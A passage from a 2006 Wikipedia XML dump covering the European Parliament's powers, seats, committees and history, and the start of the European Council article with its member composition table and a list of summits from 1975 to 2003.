In five [[European Union]] Member States ([[Belgium]], [[France]], [[Republic of Ireland|Ireland]], [[Italy]] and the [[United Kingdom]]), the national territory is divided into a number of [[constituency|constituencies]] for [[Elections in the European Union|European elections]]. In the remaining 20 Member States the whole country forms a single electoral area. In [[Germany]] political parties are entitled to present lists of candidates either at [[States of Germany|''Land'']] (state) or national level. In [[Finland]] they may do so either at electoral district or national level. In [[Poland]] they may do so only at a constituency level, but seats are allocated nationally.

==Powers and functions==
{{main|European Union legislative procedure}}
[[Image:EuropeanParliamentHemicycle Copyright200406KaihsuTai.jpg|thumb|left|250px|The debating chamber, the 'hemicycle' of the European Parliament in Brussels. Translation booths are provided near where the banners can be seen.]]

In some respects, the European Parliament and the Council of Ministers resemble the upper and lower houses of a [[bicameral]] legislature. Neither the European Parliament nor the Council of Ministers may initiate EU legislation, this power being reserved by the [[European Commission|Commission]], and the fact that the European Parliament cannot itself propose laws makes it different from most national legislative assemblies.

However, once a proposal for an [[European Union law|EU law]] or [[European Union directive|directive]] has been introduced by the Commission, it must usually receive the approval of both Parliament and Council in order to come into force. Parliament may amend and block legislation in those policy areas that fall under the [[codecision procedure]], which currently make up about three-quarters of EU legislative acts. Remaining policy areas fall under either the [[assent procedure]] or (in a very few cases) the [[consultation procedure]]; under the former Parliament has power to veto but not formally amend proposals, while under the latter it has only a formal right to be consulted. The European Parliament controls the EU budget, which must be approved by Parliament in order to become law.

The [[President of the European Commission]] is chosen by the [[European Council]], but must be approved by Parliament before she or he can assume office. The remaining members of the Commission are then appointed by the President, subject to approval of Parliament. Other than its president, members of the Commission are not confirmed by the European Parliament individually; rather, Parliament must either accept or reject the whole Commission ''en bloc''.

The European Parliament exerts a function of democratic supervision over all of the EU's activities, particularly those of the Commission. In the event that Parliament adopts a motion of censure, the entire Commission must resign (formally, Commissioners cannot be censored individually). However, a motion of censure must be approved by at least a two-thirds majority in order to have effect.

Parliament also appoints the [[European Ombudsman]].

Under the proposed new [[Treaty establishing a Constitution for Europe|Constitution for Europe]], Parliament's powers would be enhanced, with almost all policy areas coming under co-decision, greater powers of democratic scrutiny for Parliament, and control over the whole EU budget.

==Location==

[[Image:European_Parliament_Strasbourg.jpg|thumb|right|225px|The European Parliament tower in Strasbourg]]
Although Brussels is generally treated as the 'capital' of the European Union, and the two institutions of the EU's executive, the [[European Commission]] and the [[Council of Ministers]], both have their seats there, a protocol attached to the [[Treaty of Amsterdam]] requires that the European Parliament have monthly sessions in [[Strasbourg]]. Thus the European Parliament is sometimes informally referred to as the 'Strasbourg Parliament' and Strasbourg as the democratic (opposed to bureaucratic) capital of Europe. For practical reasons, however, preparatory legislative work and committee meetings take place in Brussels. Moreover, the European Parliament´s [[Secretariat of the European Parliament|secretariat]] (administration), which employs the majority of its staff, is located in [[Luxembourg]], which itself used to host plenary sessions of the parliament.

Parliament only spends four days of each month in Strasbourg in order to take its final, plenary votes. Additional plenary meetings are held in Brussels. On several occasions, the European Parliament has expressed a wish to be granted the right to choose for itself the location of its seat, and eliminate the two-seat system, but in the successive treaties, European governments have continued to reserve this right for themselves. While they did abandon the third seat of Parliament, Luxembourg, two decades ago, the rival demands of Belgium and France to base parliament in their state (Brussels  is in the former, Strasbourg in the latter) has prevented a final agreement as to which city would become the sole seat of parliament.

== Organisation ==

The European Parliament has a number of governing bodies and committees, and a number of delegations from external bodies.

The main offices and governing bodies are:
*[[President of the European Parliament|President]] - [http://www2.europarl.eu.int/omk/sipade2?PUBREF=-//EP//TEXT+RULES-EP+20040720+RULE-019+DOC+XML+V0//EN&amp;HNAV=Y duties]
*Vice-Presidents - [http://www2.europarl.eu.int/omk/sipade2?PUBREF=-//EP//TEXT+RULES-EP+20040720+RULE-020+DOC+XML+V0//EN&amp;HNAV=Y duties]
*Bureau - [http://www2.europarl.eu.int/omk/sipade2?PUBREF=-//EP//TEXT+RULES-EP+20040720+RULE-022+DOC+XML+V0//EN&amp;HNAV=Y duties]
*Conference of Presidents - [http://www2.europarl.eu.int/omk/sipade2?PUBREF=-//EP//TEXT+RULES-EP+20040720+RULE-024+DOC+XML+V0//EN&amp;HNAV=Y duties]
*[[Quaestor (European Parliament)|Quaestors]] - [http://www2.europarl.eu.int/omk/sipade2?PUBREF=-//EP//TEXT+RULES-EP+20040720+RULE-025+DOC+XML+V0//EN&amp;HNAV=Y duties]
*Conference of Committee Chairmen - [http://www2.europarl.eu.int/omk/sipade2?PUBREF=-//EP//TEXT+RULES-EP+20040720+RULE-026+DOC+XML+V0//EN&amp;HNAV=Y description]
*Conference of Delegation Chairmen - [http://www2.europarl.eu.int/omk/sipade2?PUBREF=-//EP//TEXT+RULES-EP+20040720+RULE-027+DOC+XML+V0//EN&amp;HNAV=Y description]

===List of committees ===
'''Internal affairs'''
* BUDG - [[Committee on Budgets]]
* CONT - [[Committee on Budgetary Control]]
* ECON - [[Committee on Economic and Monetary Affairs]]
* EMPL - [[Committee on Employment and Social Affairs]]
* ENVI - [[Committee on the Environment, Public Health and Food Safety]]
* ITRE - [[Committee on Industry, Research and Energy]]
* IMCO - [[Committee on the Internal Market and Consumer Protection]]
* TRAN - [[Committee on Transport and Tourism]]
* REGI - [[Committee on Regional Development]]
* AGRI - [[Committee on Agriculture and Rural Development]]
* PECH - [[Committee on Fisheries]]
* CULT - [[Committee on Culture and Education]]
* JURI - [[Committee on Legal Affairs]]
* LIBE - [[Committee on Civil Liberties, Justice and Home Affairs]]
* AFCO - [[Committee on Constitutional Affairs]]
* FEMM - [[Committee on Women's Rights and Gender Equality]]
* PETI - [[Committee on Petitions]]

'''External affairs''' 
* AFET - [[Committee on Foreign Affairs]]
** DROI - [[Subcommittee on Human Rights]]
** SEDE - [[Subcommittee on Security and Defence]]
* DEVE - [[Committee on Development]]
* INTA - [[Committee on International Trade]]

==Political groups and parties==
{{main|European Parliament party group}}
[[Image:European_Parliament_6th_term.png|frame|right|The EP groups as of October 8, 2005]]
The political parties in the European Parliament are organised into a number of political groupings as well as a number of registered European political parties. However most continue to be members of separate national political parties and discipline within European parties and groupings is not rigid. The makeup of the parliament's groups is fluid, and both national delegations and individual MEPs are free to switch allegiances as they see fit.

European Parliament party groups are distinct from the corresponding [[European political party|European political parties]], although they are intimately linked. Usually, the European parties also have member parties from European countries which are not members of the European Union. At the start of Parliament's sixth term in 2004 there were seven groups, as well as a number of non-aligned members, known as ''[[non-inscrits]]''. As of [[October 8]], [[2005]] the composition of the European Parliament was:

{{European Parliament standings}}
[[Image:Ep1979-2004.GIF|thumb|left|European Parliament seats by political groups, from 1979 to 2004]]


There has been controversy over the proposed [[European Political Parties Directive]], which seeks to provide state funding for Europe-wide political parties. This has been seen by some as an attempt to put Eurosceptic parties (which would not meet the funding criteria) at a huge financial disadvantage [http://www.hannan.co.uk/eurobriefings.htm#whycourt]. 25 [[Member of the European Parliament|Members of the European Parliament]] petitioned the [[European Court of Justice]], arguing that this directive contravened the EU's stated values of pluralism and democracy. However, the case was rejected after eighteen months [http://www.hannan.co.uk/eurobriefings.htm#pan-european].

== History ==
[[Image:EuropeanParliamentEntrance Copyright200406KaihsuTai.jpg|thumb|225px|right|Entrance to the European Parliament in Brussels]]
The [[European Coal and Steel Community]] (ECSC) established a 'Common Assembly' in September, [[1952]], its 78 members drawn from the six national Parliaments of the ECSC's constituent nations. This was expanded in March [[1958]] to also cover the [[European Economic Community]] and [[Euratom]], and the name ''European Parliamentary Assembly'' was adopted. The body was renamed to the ''European Parliament'' in [[1962]]. In [[1979]] the parliament's membership was expanded again and its members began to be directly elected for the first time. Thereafter the membership of the European Parliament has simply expanded whenever new nations have joined; the membership was adjusted upwards in [[1994]] after [[German reunification]]. Recent treaties, including the [[Treaty of Nice]] and the proposed [[Treaty establishing a Constitution for Europe]], set a cap on membership at 750.

:''See also: [[Growth in membership of the European Parliament]]''

==Footnotes==
#These requirements were imposed by Council Decision 2002/772/EC, which is binding on all member states.

==See also==
*[[Members of the European Parliament 2004-2009]]
*[[Apportionment in the European Parliament]]
*[[Growth in membership of the European Parliament]]
*[[Eurocracy]] board game
*[[MECP|Model European Parliament]]
*[[Mundialization]]
*[[World citizen]]
*[[Sakharov Prize]]

==External links==
*[http://www.europarl.eu.int/news/public/default_en.htm Official web site]
*[http://www.corbett-euro.demon.co.uk/job_parl.htm Detailed description of the Parliament's role, written by an MEP specialising in constitutional affairs]
*[http://www.europarl.ie/ European Parliament Office in Ireland]
*[http://www.europarl.org.uk UK Office of the European Parliament]
*[http://news.bbc.co.uk/1/shared/spl/hi/europe/04/eu_parliament_guide/html/introduction.stm BBC News: European Parliament guide]
* [http://drcwww.kub.nl/dbi/instructie/eu/en/T1.htm DEsite]: [http://drcwww.kub.nl/dbi/instructie/eu/en/T13.htm Info page of the European Parliament]
*[http://www2.europarl.eu.int/omk/sipade2?SAME_LEVEL=1&amp;LEVEL=2&amp;NAV=X&amp;DETAIL=&amp;PUBREF=-//EP//TEXT+RULES-EP+20040720+TOC+DOC+XML+V0//EN Rules of Procedure of the European Parliament]
*[http://www.euabc.com A glossary of European Union terms]

{{EU_politics}}
{{EuroparlCommittees}}

[[Category:European Parliament|*]]
[[Category:Strasbourg]]

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[[cs:Evropský parlament]]
[[cy:Y Senedd Ewropeaidd]]
[[da:Europa-Parlamentet]]
[[de:Europäisches Parlament]]
[[et:Euroopa Parlament]]
[[es:Parlamento Europeo]]
[[eo:Eŭropa Parlamento]]
[[fr:Parlement européen]]
[[ko:유럽 의회]]
[[ia:Parlamento Europee]]
[[is:Evrópuþingið]]
[[it:Parlamento europeo]]
[[he:הפרלמנט האירופי]]
[[ka:ევროპის პარლამენტი]]
[[kw:Eurosenedh]]
[[lt:Europos Parlamentas]]
[[lb:Europäescht Parlament]]
[[hu:Európai Parlament]]
[[nl:Europees Parlement]]
[[ja:欧州議会]]
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[[pl:Parlament Europejski]]
[[pt:Parlamento Europeu]]
[[ro:Parlamentul European]]
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[[sl:Evropski parlament]]
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[[tr:Avrupa Parlamentosu]]
[[zh:欧洲议会]]</text>
    </revision>
  </page>
  <page>
    <title>European Council</title>
    <id>9582</id>
    <revision>
      <id>41908187</id>
      <timestamp>2006-03-02T15:12:45Z</timestamp>
      <contributor>
        <username>Anthonyfrederic</username>
        <id>798999</id>
      </contributor>
      <comment>/* Current composition of the European Council */</comment>
      <text xml:space="preserve">{{Politics of the European Union}}
The '''European Council''', informally called the '''European summit''', is a meeting of the heads of state or government of the [[European Union]], and the President of the [[European Commission]].  

The establishment of the Council was agreed at the December [[1974]] [[Paris]] summit of the [[European Economic Community]] Heads of Government following a proposal from [[Valéry Giscard d'Estaing]].  The inaugural Council was held in [[Dublin]] on 10-11 March, [[1975]] during [[Republic of Ireland|Ireland]]'s first Presidency of the [[Council of the European Union]].  Approximately three annual meetings were held, there are now on average four European Councils each year.  Discussion and decisions take place on the matters of key issues and direction of the EU.  This institution is different from the [[Council of the European Union]] (which includes the ministers with the relevant portfolios) and the [[Council of Europe]] (which is an unrelated international organization).

== Council venues ==
Traditionally the summits of the European Councils have been held in the country currently holding the [[Presidency of the Council of the European Union]]. However, in late 2000 it was agreed at the [[Treaty of Nice|Nice European Council]] that in the future half the European Councils would be held in [[Brussels]] and eventually all would be held there.

Two factors prompted this decision. Firstly, with the impending enlargement of the European Union to 25 or more members, rotating the site of the Council meeting between member states was going to become more difficult. Secondly, [[Belgium]] was threatening to hold up the [[Treaty of Nice]], unhappy with the way larger states were going to hold more power in European institutions. Holding the summits in Brussels was meant to encourage Belgium to accept the deal.

The decision was further justified by the increasing violence at European Council meetings, which culminated in the shooting of a protester at the [[Gothenburg]] European Council in [[Sweden]] in June 2001. It was felt that the Belgian government had more experience at dealing with anti-EU protests, and that putting them in one location would enable increased security.

The proposal has since been strongly criticised by many European Union member states, principally the smaller states and those furthest from Brussels, who have argued that it would in practice be impossible for their leaders to fulfill all the functions of the presidency in Brussels ''and'' govern effectively in their own states, the suspicion being that the idea was designed to reduce the practical control exercised by the state nominally holding the presidency, with the day-to-day running of the presidency resting permanently in Brussels among Eurocrats. New members of the EU were particularly opposed and were seeking to overturn the Nice decision.

The proposed [[Treaty establishing a Constitution for Europe]] proposed to switch the rotating presidency to a 2½-year chair (see below) and all member states' governments have supported the proposal, this issue now seems to be off the political agenda - even though the Treaty itself has failed to gain ratification.

== Council presidents ==
The role of President of the assembled European Council is performed by the [[head of government]] or [[head of state]] of the member state currently holding the [[Presidency of the Council of the European Union]]. The role as president is in no sense equivalent to a head of stateship, merely a ''primus inter pares'' (first among equals) role with other European heads of government. The President is primarily responsible for preparing and chairing Council meetings, and has no executive powers.

The current President is [[Wolfgang Schüssel]] of [[Austria]], whose term expires in June 2006.  For information on upcoming Presidents see [[Presidency of the Council of the European Union]].

Under the provisions contained in the proposed [[Treaty establishing a Constitution for Europe]], which has yet to be ratified by all member states, the rotating Presidency will be replaced by a permanent 2½-year chair, chosen by the heads of government themselves. The role and responsibilities of the President will be the same as at present, i.e. administrative and non-executive.

==Current composition of the European Council==
:''Main article: [[Parties in the Council of the European Union]]''
&lt;div align = &quot;center&quot;&gt;
{| class =&quot;wikitable&quot;
|-
|'''State'''
|'''Head of State and/or Government'''
|'''Title'''
|'''Political Party'''
|-
|[[Belgium]] 
|[[Guy Verhofstadt]]
|Prime minister
|[[Flemish Liberals and Democrats]] (ALDE)
|-
|[[Czech Republic|Czechia]]
|[[Jiří Paroubek]]
|Prime minister
|[[Czech Social Democratic Party]] (PES)
|-
|[[Denmark]]
|[[Anders Fogh Rasmussen]]
|Prime minister 
|[[Venstre (Denmark)|Venstre]] (ALDE)
|-
|[[Spain]]
|[[José Luis Rodríguez Zapatero]]
|Prime minister
|[[Spanish Socialist Workers' Party]] (PES)
|- 
|[[Estonia]]
|[[Andrus Ansip]]
|Prime minister
|[[Estonian Reform Party]] (ALDE)
|-
|[[Germany]]
|[[Angela Merkel]]
|Chancellor
|[[Christian Democratic Union (Germany)|Christian Democratic Union]] (EPP)
|-
|[[Greece]]
|[[Kostas Karamanlis]]
|Prime minister
|[[New Democracy (Greece)|New Democracy]] (EPP)
|-
|[[France]]
|[[Jacques Chirac]]
|President
|[[Union for a Popular Movement]] (EPP)
|-
|[[Republic of Ireland|Ireland]]
|[[Bertie Ahern]]
|Prime minister
|[[Fianna Fáil]] (UEN)
|-
|[[Italy]]
|[[Silvio Berlusconi]]
|Prime minister 
|[[Forza Italia]] (EPP)
|-
|[[Cyprus]]
|[[Tassos Papadopoulos]]
|President
|[[Democratic Party (Cyprus)|Democratic Party]] (ALDE)
|-
|[[Latvia]]
|[[Aigars Kalvītis]]
|Prime minister
|[[People's Party (Latvia)|People's Party]] (EPP)
|-
|[[Lithuania]]
|[[Algirdas Brazauskas]]
|Prime minister
|[[Social Democratic Party of Lithuania]] (PES)
|-
|[[Luxembourg]]
|[[Jean-Claude Juncker]]
|Prime minister
|[[Christian Social People's Party]] (EPP)
|-
|[[Malta]]
|[[Lawrence Gonzi]]
|Prime minister
|[[Nationalist Party (Malta)|Nationalist Party]] (EPP)
|-
|[[Hungary]]
|[[Ferenc Gyurcsány]]
|Prime minister
|[[Hungarian Socialist Party]] (PES)
|-
|[[Netherlands]]
|[[Jan Peter Balkenende]]
|Prime minister
|[[Christian Democratic Appeal]] (EPP)
|-
|'''[[Austria]]&lt;sup&gt;*&lt;/sup&gt;
|'''[[Wolfgang Schüssel]]
|'''Chancellor
|'''[[Austrian People's Party]] (EPP)
|-
|[[Poland]]
|[[Kazimierz Marcinkiewicz]]
|Prime minister
|[[Law and Justice]] (UEN)
|-
|[[Portugal]]
|[[José Sócrates]]
|Prime minister
|[[Socialist Party (Portugal)|Socialist Party]] (PES)
|-
|[[Slovakia]]
|[[Mikuláš Dzurinda]]
|Prime minister
|[[Slovak Democratic and Christian Union - Democratic Party]] (EPP)
|-
|[[Slovenia]]
|[[Janez Janša]]
|Prime minister
|[[Slovenian Democratic Party]] (EPP)
|-
|[[Sweden]]
|[[Göran Persson]]
|Prime minister
|[[Swedish Social Democratic Party]] (PES)
|-
|[[Finland]]
|[[Matti Vanhanen]]
|Prime minister
|[[Centre Party (Finland)|Centre Party]] (ALDE)
|-
|[[United Kingdom]]
|[[Tony Blair]]
|Prime minister
|[[Labour Party (UK)|Labour Party]] (PES)
|}
&lt;/div&gt;
&lt;sup&gt;*&lt;/sup&gt; Current President
===Summary by political leanings ===
*  [[European People's Party]] (EPP): 11 members
* [[Party of European Socialists]] (PES): 7 members
* [[Alliance of Liberals and Democrats for Europe]] (ALDE): 5 members
* [[Union for Europe of the Nations]] (UEN): 2 members

== List of councils ==
{| cellpadding=2 cellspacing=0 border=1 style=&quot;border-collapse:collapse; border:#555;&quot;
|-
!colspan=1 bgcolor=&quot;#CCCCCC&quot;|Year
!colspan=1 width=100 bgcolor=&quot;#CCCCCC&quot;|Date
!colspan=1 bgcolor=&quot;#CCCCCC&quot;|Venue
!colspan=1 width=210 bgcolor=&quot;#CCCCCC&quot;|President
!colspan=1 bgcolor=&quot;#CCCCCC&quot;|Details
|---- bgcolor=#FFE8E8
|-
|1975||[[March 1975|10-11 March]]||{{flag|Ireland}} [[Dublin]]||{{flag|Ireland}} [[Liam Cosgrave]]||http://aei.pitt.edu/archive/00001921
|-
|||[[July 1975|16-17 July]]||{{flag|Belgium}} [[Brussels]]||{{flag|Italy}} [[Aldo Moro]]||http://aei.pitt.edu/archive/00001427
|-
|||[[December 1975|1-2 December]]||{{flag|Italy}} [[Rome]]||{{flag|Italy}} Aldo Moro||http://aei.pitt.edu/archive/00001407
|-
|1976||[[April 1976|1-2 April]]||{{flag|Luxembourg}} [[Luxembourg (city)|Luxembourg]]||{{flag|Luxembourg}} [[Gaston Thorn]]||http://aei.pitt.edu/archive/00001412/
|-
|||[[July 1976|12-13 July]]||{{flag|Belgium}} Brussels||{{flag|Netherlands}} [[Joop den Uyl]]||http://aei.pitt.edu/archive/00001428/
|-
|||[[November 1976|29-30 November]]||{{flag|Netherlands}} [[The Hague]]||{{flag|Netherlands}} Joop den Uyl||http://aei.pitt.edu/archive/00001450/
|-
|1977||[[March 1977|25-27? March]]||{{flag|Italy}} Rome||{{flag|UK}} [[James Callaghan]]||http://aei.pitt.edu/archive/00001405/
|-
|||[[June 1977|29-30 June]]||{{flag|UK}} [[London]]||{{flag|UK}} James Callaghan||http://aei.pitt.edu/archive/00001410/
|-
|||[[December 1977|5-6 December]]||{{flag|Belgium}} Brussels||{{flag|Belgium}} [[Leo Tindemans]]||http://aei.pitt.edu/archive/00001423/
|-
|1978||[[April 1978|7-8 April]]||{{flag|Denmark}} [[Copenhagen]]||{{flag|Denmark}} [[Anker Jørgensen]]||http://aei.pitt.edu/archive/00001440/
|-
|||[[July 1978|6-7 July]]||{{flag|Germany}} [[Bremen (city)|Bremen]]||{{flag|Germany}} [[Helmut Schmidt]]||http://aei.pitt.edu/archive/00001454/
|-
|||[[December 1978|4-5 December]]||{{flag|Belgium}} Brussels||{{flag|Germany}} Helmut Schmidt||http://aei.pitt.edu/archive/00001424/
|-
|1979||[[March 1979|12-13 March]]||{{flag|France}} [[Paris]]||{{flag|France}} [[Valéry Giscard d'Estaing]]||http://aei.pitt.edu/archive/00001458/
|-
|||[[June 1979|21-22 June]]||{{flag|France}} [[Strasbourg]]||{{flag|France}} Valéry Giscard d'Estaing||http://aei.pitt.edu/archive/00001394/
|-
|||[[November 1979|29-30 November]]||{{flag|Ireland}} Dublin||{{flag|Ireland}} [[Jack Lynch]]||http://aei.pitt.edu/archive/00001402/
|-
|1980||[[April 1980|17-18 April]]||{{flag|Luxembourg}} Luxembourg||{{flag|Italy}} [[Francesco Cossiga]]||http://aei.pitt.edu/archive/00001413/
|-
|||[[June 1980|12-13 June]]||{{flag|Italy}} [[Venice]]||{{flag|Italy}} Francesco Cossiga||http://aei.pitt.edu/archive/00001393/
|-
|||[[December 1980|1-2 December]]||{{flag|Luxembourg}} Luxembourg||{{flag|Luxembourg}} [[Pierre Werner]]||http://aei.pitt.edu/archive/00001415/
|-
|1981||[[March 1981|23-24 March]]||{{flag|Netherlands}} [[Maastricht]]||{{flag|Netherlands}} [[Dries van Agt]]||http://aei.pitt.edu/archive/00001419/
|-
|||[[June 1981|29-30 June]]||{{flag|Luxembourg}} Luxembourg||{{flag|Netherlands}} Dries van Agt||http://aei.pitt.edu/archive/00001417/
|-
|||[[November 1981|26-27 November]]||{{flag|UK}} London||{{flag|UK}} [[Margaret Thatcher]]||http://aei.pitt.edu/archive/00001411/
|-
|1982||[[March 1982|29-30 March]]||{{flag|Belgium}} Brussels||{{flag|Belgium}} [[Wilfried Martens]]||http://aei.pitt.edu/archive/00001431/
|-
|||[[June 1982|28-29 June]]||{{flag|Belgium}} Brussels||{{flag|Belgium}} Wilfried Martens||http://aei.pitt.edu/archive/00001429/
|-
|||[[December 1982|3-4 December]]||{{flag|Denmark}} Copenhagen||{{flag|Denmark}} [[Poul Schlüter]]||http://aei.pitt.edu/archive/00001441/
|-
|1983||[[March 1983|21-22 March]]||{{flag|Belgium}} Brussels||{{flag|Germany}} [[Helmut Kohl]]||http://aei.pitt.edu/archive/00001432/
|-
|||[[June 1983|17-19 June]]||{{flag|Germany}} [[Stuttgart]]||{{flag|Germany}} Helmut Kohl||http://aei.pitt.edu/archive/00001396/
|-
|||[[December 1983|4-6 December]]||{{flag|Greece}} [[Athens]]||{{flag|Greece}} [[Andreas Papandreou]]||http://aei.pitt.edu/archive/00001437/
|-
|1984||[[March 1984|19-20 March]]||{{flag|Belgium}} Brussels||{{flag|France}} [[François Mitterrand]]||http://aei.pitt.edu/archive/00001433/
|-
|||[[June 1984|25-26 June]]||{{flag|France}} [[Fontainebleau]]||{{flag|France}} François Mitterrand||http://aei.pitt.edu/archive/00001448/ British rebate agreed
|-
|||[[December 1984|3-4 December]]||{{flag|Ireland}} Dublin||{{flag|Ireland}} [[Garret FitzGerald]]||http://aei.pitt.edu/archive/00001400/
|-
|1985||[[March 1985|29-30 March]]||{{flag|Belgium}} Brussels||{{flag|Italy}} [[Bettino Craxi]]||http://aei.pitt.edu/archive/00001434/
|-
|||[[June 1985|28-29 June]]||{{flag|Italy}} [[Milan]]||{{flag|Italy}} Bettino Craxi||http://aei.pitt.edu/archive/00001421/
|-
|||[[December 1985|2-3 December]]||{{flag|Luxembourg}} Luxembourg||{{flag|Luxembourg}} [[Jacques Santer]]||http://aei.pitt.edu/archive/00001416/
|-
|1986||[[June 1986|26-27 June]]||{{flag|Netherlands}} The Hague||{{flag|Netherlands}} [[Ruud Lubbers]]||http://aei.pitt.edu/archive/00001449/
|-
|||[[December 1986|5-6 December]]||{{flag|UK}} London||{{flag|UK}} Margaret Thatcher||http://aei.pitt.edu/archive/00001409/
|-
|1987||[[June 1987|29-30 June]]||{{flag|Belgium}} Brussels||{{flag|Belgium}} Wilfried Martens||http://aei.pitt.edu/archive/00001430/
|-
|||[[December 1987|4-5 December]]||{{flag|Denmark}} Copenhagen||{{flag|Denmark}} Poul Schlüter||http://aei.pitt.edu/archive/00001442/
|-
|1988||[[February 1988|11-13 February]]||{{flag|Belgium}} Brussels||{{flag|Germany}} Helmut Kohl||http://aei.pitt.edu/archive/00001426/
|-
|||[[June 1988|27-28 June]]||{{flag|Germany}} [[Hanover]]||{{flag|Germany}} Helmut Kohl||http://aei.pitt.edu/archive/00001422/
|-
|||[[December 1988|2-3 December]]||{{flag|Greece}} [[Rhodes]]||{{flag|Greece}} Andreas Papandreou||http://aei.pitt.edu/archive/00001483/
|-
|1989||[[June 1989|June]]||{{flag|Spain}} [[Madrid]]||{{flag|Spain}} [[Felipe González]]||
|-
|||[[December 1989|December]]||{{flag|France}} Strasbourg||{{flag|France}} [[François Mitterrand]]||
|-
|1990||[[June 1990|June]]||{{flag|Ireland}} Dublin||{{flag|Ireland}} [[Charles Haughey]]||
|-
|||[[October 1990|October]]||{{flag|Italy}} Rome||{{flag|Italy}} [[Giulio Andreotti]]||
|-
|||[[December 1990|December]]||{{flag|Italy}} Rome||{{flag|Italy}} Giulio Andreotti||
|-
|1991||[[June 1991|June]]||{{flag|Luxembourg}} Luxembourg||{{flag|Luxembourg}} Jacques Santer||
|-
|||[[December 1991|December]]||{{flag|Netherlands}} Maastricht||{{flag|Netherlands}} Ruud Lubbers||See [[Treaty of Maastricht]]
|-
|1992||[[June 1992|June]]||{{flag|Portugal}} [[Lisbon]]||{{flag|Portugal}} [[Aníbal Cavaco Silva]]||
|-
|||[[October 1992|October]]||{{flag|UK}} [[Birmingham]]||{{flag|UK}} [[John Major]]||
|-
|||[[December 1992|December]]||{{flag|UK}} [[Edinburgh]]||{{flag|UK}} John Major||
|-
|1993||[[June 1993|June]]||{{flag|Denmark}} Copenhagen||{{flag|Denmark}} [[Poul Nyrup Rasmussen]]||See [[Copenhagen criteria]]
|-
|||[[October 1993|October]]||{{flag|Belgium}} Brussels||{{flag|Belgium}} [[Jean-Luc Dehaene]]||
|-
|||[[December 1993|December]]||{{flag|Belgium}} Brussels||{{flag|Belgium}} Jean-Luc Dehaene||
|-
|1994||[[June 1994|June]]||{{flag|Greece}} [[Corfu]]||{{flag|Greece}} Andreas Papandreou||Signing of the Treaty of the 1995 &lt;br&gt;Accession of [[Austria]], [[Finland]] and [[Sweden]] &lt;br&gt;(and [[Norway]] which later fails to ratify and stays out of the EU) 
|-
|||[[December 1994|December]]||{{flag|Germany}} [[Essen, Germany|Essen]]||{{flag|Germany}} Helmut Kohl||
|-
|1995||[[June 1995|June]]||{{flag|France}} [[Cannes]]||{{flag|France}} [[Jacques Chirac]]||
|-
|||[[December 1995|December]]||{{flag|Spain}} Madrid||{{flag|Spain}} Felipe González||
|-
|1996||[[March 1996|March]]||{{flag|Italy}} [[Turin]]||{{flag|Italy}} [[Lamberto Dini]]||
|-
|||[[June 1996|21-22 June]]||{{flag|Italy}} [[Florence]]||{{flag|Italy}} [[Romano Prodi]]||
|-
|||[[December 1996|13-14 December]]||{{flag|Ireland}} Dublin||{{flag|Ireland}} [[John Bruton]]||
|-
|1997||[[June 1997|16-17 June]]||{{flag|Netherlands}} [[Amsterdam]]||{{flag|Netherlands}} [[Wim Kok]]||See [[Treaty of Amsterdam]]
|-
|||[[November 1997|20-21 November]]||{{flag|Luxembourg}} Luxembourg||{{flag|Luxembourg}} [[Jean-Claude Juncker]]||Special council on Employment
|-
|||[[December 1997|12-13 December]]||{{flag|Luxembourg}} Luxembourg||{{flag|Luxembourg}} Jean-Claude Juncker||
|-
|1998||[[June 1998|15-16 June]]||{{flag|UK}} [[Cardiff]]||{{flag|UK}} [[Tony Blair]]||
|-
|||[[December 1998|11-12 December]]||{{flag|Austria}} [[Vienna]]||{{flag|Austria}} [[Viktor Klima]]||
|-
|1999||[[March 1999|25-26 March]]||{{flag|Germany}} [[Berlin]]||{{flag|Germany}} [[Gerhard Schröder]]||
|-
|||[[June 1999|3-4 June]]||{{flag|Germany}} [[Cologne]]||{{flag|Germany}} Gerhard Schröder||
|-
|||[[October 1999|15-16 October]]||{{flag|Finland}} [[Tampere]]||{{flag|Finland}} [[Paavo Lipponen]]||
|-
|||[[December 1999|10-11 December]]||{{flag|Finland}} [[Helsinki]]||{{flag|Finland}} Paavo Lipponen||
|-
|2000||[[March 2000|23-24 March]]||{{flag|Portugal}} Lisbon||{{flag|Portugal}} [[António Guterres]]||See [[Lisbon Strategy]]
|-
|||[[June 2000|19-20 June]]||{{flag|Portugal}} [[Santa Maria da Feira]]||{{flag|Portugal}} António Guterres||
|-
|||[[October 2000|13-14 October]]||{{flag|France}} [[Biarritz]]||{{flag|France}} Jacques Chirac||Informal European council
|-
|||[[December 2000|7-9 December]]||{{flag|France}} [[Nice]]||{{flag|France}} Jacques Chirac||See [[Treaty of Nice]]
|-
|2001||[[March 2001|23-24 March]]||{{flag|Sweden}} [[Stockholm]]||{{flag|Sweden}} [[Göran Persson]]||
|-
|||[[June 2001|15-16 June]]||{{flag|Sweden}} [[Gothenburg]]||{{flag|Sweden}} Göran Persson||
|-
|||[[September 2001|21 September]]||{{flag|Belgium}} Brussels||{{flag|Belgium}} [[Guy Verhofstadt]]||Emergency council - Terrorism
|-
|||[[October 2001|19 October]]||{{flag|Belgium}} [[Ghent]]||{{flag|Belgium}} Guy Verhofstadt||Informal council
|-
|||[[December 2001|14-15 December]]||{{flag|Belgium}} [[Laeken]]||{{flag|Belgium}} Guy Verhofstadt||See [[Laeken European Council]]
|-
|2002||[[March 2002|15-16 March]]||{{flag|Spain}} [[Barcelona]]||{{flag|Spain}} [[José María Aznar|José María Aznar López]]||
|-
|||[[June 2002|21-22 June]]||{{flag|Spain}} [[Seville]]||{{flag|Spain}} José María Aznar López||
|-
|||[[October 2002|24-25 October]]||{{flag|Belgium}} Brussels||{{flag|Denmark}} [[Anders Fogh Rasmussen]]||
|-
|||[[December 2002|12-13 December]]||{{flag|Denmark}} Copenhagen||{{flag|Denmark}} Anders Fogh Rasmussen||
|-
|2003||[[February 2003|17 February]]||{{flag|Belgium}} Brussels||{{flag|Greece}} [[Costas Simitis]]||Extraordinary council - Iraq
|-
|||[[March 2003|20-21 March]]||{{flag|Belgium}} Brussels||{{flag|Greece}} Costas Simitis||
|-
|||[[April 2003|16-17 April]]||{{flag|Greece}} Athens||{{flag|Greece}} Costas Simitis||Informal council - Signing of the [[Treaty of Accession 2003]]
|-
|||[[June 2003|20 June]]||{{flag|Greece}} [[Thessaloniki]]||{{flag|Greece}} Costas Simitis||
|-
|||[[October 2003|4 October]]||{{flag|Italy}} Rome||{{flag|Italy}} [[Silvio Berlusconi]]||Extraordinary council to begin IGC on EU Constitution
|-
|||[[October 2003|16-17 October]]||{{flag|Belgium}} Brussels||{{flag|Italy}} Silvio Berlusconi||
|-
